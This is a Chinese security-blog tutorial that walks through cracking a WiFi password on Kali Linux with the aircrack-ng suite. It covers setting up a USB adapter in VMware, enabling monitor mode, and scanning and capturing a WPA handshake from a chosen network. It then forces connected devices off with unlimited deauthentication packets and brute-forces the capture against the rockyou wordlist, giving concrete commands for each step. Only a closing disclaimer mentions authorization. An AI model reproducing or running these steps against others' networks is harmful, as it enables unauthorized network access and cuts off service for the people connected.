前期准备
VMware Workstation虚拟机
在虚拟机安装好kail linunx系统
无线网卡(芯片为3070或者1887L都支持Linux)
一.打开终端,用airmon-ng命令查看
- 如果出现无法访问…没有那个文件或目录
- 解决办法:先在window主机上按win+r键然后输入services.msc
- 回车
![图片[1]-kali linux破解wifi密码-超详细过程-安全小天地](https://www.anquanclub.cn/wp-content/uploads/2022/02/image-104.png)
- 找到VMware USB Arbitration Service,双击
![图片[2]-kali linux破解wifi密码-超详细过程-安全小天地](https://www.anquanclub.cn/wp-content/uploads/2022/02/image-105.png)
1.启动类型改为自动 …2.启动服务状态 …3.确定
二.打开虚拟机的设置,改成跟下图中2一样(如果为灰色无法更改,则需要关闭kail系统后再改)
![图片[3]-kali linux破解wifi密码-超详细过程-安全小天地](https://www.anquanclub.cn/wp-content/uploads/2022/02/image-107.png)
将usb无线网卡插在电脑上,(注意:网卡芯片为3070或者8187L,买的时候要注意)
点击 虚拟机 -> 可移动设备 -> 选择那个有WLAN的 -> 连接
![图片[4]-kali linux破解wifi密码-超详细过程-安全小天地](https://www.anquanclub.cn/wp-content/uploads/2022/02/image-108.png)
三.命令ifconfig查看网卡信息,有wlan0表示连接成功
![图片[5]-kali linux破解wifi密码-超详细过程-安全小天地](https://www.anquanclub.cn/wp-content/uploads/2022/02/image-109.png)
四.命令airmon-ng start wlan0开启网卡监听模式
![图片[6]-kali linux破解wifi密码-超详细过程-安全小天地](https://www.anquanclub.cn/wp-content/uploads/2022/02/image-110.png)
五.输入iwconfig命令查看网卡信息, wlan0mon网卡名加了mon则表示成功
![图片[7]-kali linux破解wifi密码-超详细过程-安全小天地](https://www.anquanclub.cn/wp-content/uploads/2022/02/image-111.png)
六.命令airodump-ng wlan0mon,开始扫描WiFi,按ctrl+c结束任务
![图片[8]-kali linux破解wifi密码-超详细过程-安全小天地](https://www.anquanclub.cn/wp-content/uploads/2022/02/image-112.png)
- BSSID为wifi的MAC地址,PWR为信号强弱程度,数值越小信号越强;#DATA为数据量,越大使用的人就越多,CH为信道频率(频道),ESSID为wifi的名称,中文可能会有乱码
七,接着输入airodump-ng –bssid BSSID -c 信道频率 -w 抓包存储的路径 wlan0mon
如:airodump-ng –bssid BC:5F:6F:3D:03:74 -c 13 -w /home wlan0mon
![图片[9]-kali linux破解wifi密码-超详细过程-安全小天地](https://www.anquanclub.cn/wp-content/uploads/2022/02/image-113.png)
- 数据包已经正在抓取
- 如果抓取不到数据,新建一个终端:键入airepaly-ng -0 0 -c 连接到WiFi的手机mac地址 -a bssid 网卡名(一般为wlan0mon)
![图片[10]-kali linux破解wifi密码-超详细过程-安全小天地](https://www.anquanclub.cn/wp-content/uploads/2022/02/image-114.png)
- (0 WiFi设备无限次数,-0 8则攻击8次。攻击原理是:先让设备掉线,设备会再自动连接,并发这个自动连接过程会进行三次握手,会发送tcp包(里面包含加密的密码数据),我方伪装成WiFi热点去窃取该数据包。我方窃取后即可用字典穷举法暴力破解加密的WiFi密码,
数据包里面的密码是哈希加密的,哈希加密只能正向) - 出现WPA handshake时,表示抓包成功
![图片[11]-kali linux破解wifi密码-超详细过程-安全小天地](https://www.anquanclub.cn/wp-content/uploads/2022/02/image-115.png)
- 两个终端都按Ctrl+c停止,不然那边会一直断网的
- cd打开抓包的目录,ls列出来,就看到我们抓到的数据包
![图片[12]-kali linux破解wifi密码-超详细过程-安全小天地](https://www.anquanclub.cn/wp-content/uploads/2022/02/image-116.png)
- 八.解压kali自带的字典文件 路径:/usr/share/wordlists/rockyou.txt.gz
- 如 :gzip -d/usr/share/wordlists/rockyou.txt.gz
- 九.键入 aircrack-ng -w 字典路径 握手包路径,回车后开始爆破
- 如:aircrack-ng -w /usr/share/wordlists/rockyou.txt /home/wifi-0.1.cap
![图片[13]-kali linux破解wifi密码-超详细过程-安全小天地](https://www.anquanclub.cn/wp-content/uploads/2022/02/image-117.png)
耐心等待密码破解吧…
特别说明:暴力破解并不简单,需要足够强大的字典和时间,可以通过字典生成工具生成自己的字典,字典越强大越容易破解。。哈哈,也是需要点运气的!
技术参照原文:https://blog.csdn.net/weixin_44545251/article/details/100279827
© 版权声明
安全小天地的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
安全小天地拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!
本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!访问本博客请务必遵守有关互联网的相关法律、规定与规则。一旦您访问本博客,即表示您已经知晓并接受了此声明通告。详情见本站的“免责声明”如果有侵权之处请第一时间联系我们删除。敬请谅解!E-mail:anquanclub@foxmail.com
THE END
请登录后查看评论内容